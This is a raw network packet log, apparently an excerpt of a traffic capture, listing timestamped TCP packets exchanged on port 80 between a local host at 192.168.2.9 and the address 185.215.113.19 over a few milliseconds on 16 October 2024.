Oct 16, 2024 19:22:39.681576967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681576967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681623936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681623936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681636095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681706905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681706905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681735039 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.681754112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681754112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681808949 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.681814909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.681828022 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.681834936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681834936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681834936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681834936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681850910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681906939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681906939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.681906939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682008028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682008028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682008028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682008028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682008028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682023048 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682053089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682053089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682081938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682092905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682113886 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682120085 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682130098 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682158947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682158947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682158947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682192087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682198048 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682200909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682200909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682208061 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682241917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682241917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682279110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682279110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682302952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682364941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682364941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682365894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682365894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682415962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682415962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682483912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682506084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682506084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682506084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682506084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682549953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682615995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682615995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682615995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682632923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682753086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682753086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682753086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682753086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682806015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682806015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682806015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682862043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682862997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682862997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682883978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682902098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682920933 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682936907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682940960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.682944059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682949066 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.682950020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683006048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683006048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683012009 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683017015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683028936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683031082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683033943 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683036089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683039904 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683049917 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683058023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683063030 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683068991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683172941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683177948 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683187962 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683192015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683202028 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683226109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683226109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683226109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683226109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683226109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683227062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683296919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683296919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683296919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683320045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683320045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683341980 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683406115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683406115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683406115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683406115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683460951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683460951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683485031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683487892 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683514118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683514118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683536053 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683542013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683545113 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683548927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683576107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683608055 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683619976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683619976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683619976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683619976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683657885 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683662891 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683682919 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683686972 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683706045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683706045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683706045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683706999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683808088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683811903 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683813095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683816910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683831930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683845043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683881998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683969021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.683979988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683979988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683980942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683980942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683980942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.683980942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684039116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684039116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684088945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684089899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684089899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684103012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684112072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.684139013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684150934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684179068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684197903 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684199095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.684223890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684223890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684236050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.684256077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684274912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684313059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684313059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684370041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.684417009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684417009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684417009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684417009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684417009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684449911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.684462070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684462070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684468031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.684504986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684504986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684519053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684556007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684556007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684578896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684592009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684648991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684648991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684684038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684684038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684720039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684745073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684782982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684782982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684796095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684823990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684853077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684853077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684900999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.684900999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685024023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685034990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685050964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685055017 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685060024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685143948 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685154915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685266018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685324907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685329914 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685430050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685431004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685431004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685431004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685460091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685497046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685497046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685520887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685533047 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685607910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685616016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685616016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685616016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685616016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685620070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685640097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685714006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685714006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685714006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685714006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685755014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685755014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685812950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685812950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685868025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685868025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685868025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685882092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685900927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685909986 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685919046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685920954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685928106 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685936928 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685946941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.685947895 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685956955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.685965061 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686075926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686083078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686100006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686114073 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686122894 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686124086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686151028 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686160088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686178923 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686197996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686207056 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686213017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686213970 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686263084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686263084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686263084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686341047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686415911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686415911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686415911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686415911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686461926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686513901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686513901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686539888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686541080 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686564922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686575890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686575890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686635017 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686645031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686665058 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686671972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686671972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686671972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.686675072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686695099 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686712980 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686721087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686739922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686748981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686968088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.686992884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687012911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687022924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687047958 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687057972 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687076092 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687117100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687167883 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687625885 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687678099 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687686920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687705994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687721014 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687728882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687737942 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687755108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687763929 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687772036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687782049 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687833071 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.687841892 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688095093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688103914 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688123941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688133001 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688150883 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688167095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688175917 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688194036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688203096 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688229084 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688237906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688263893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688273907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688282967 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688307047 CEST	80	49716	185.215.113.19	192.168.2.9
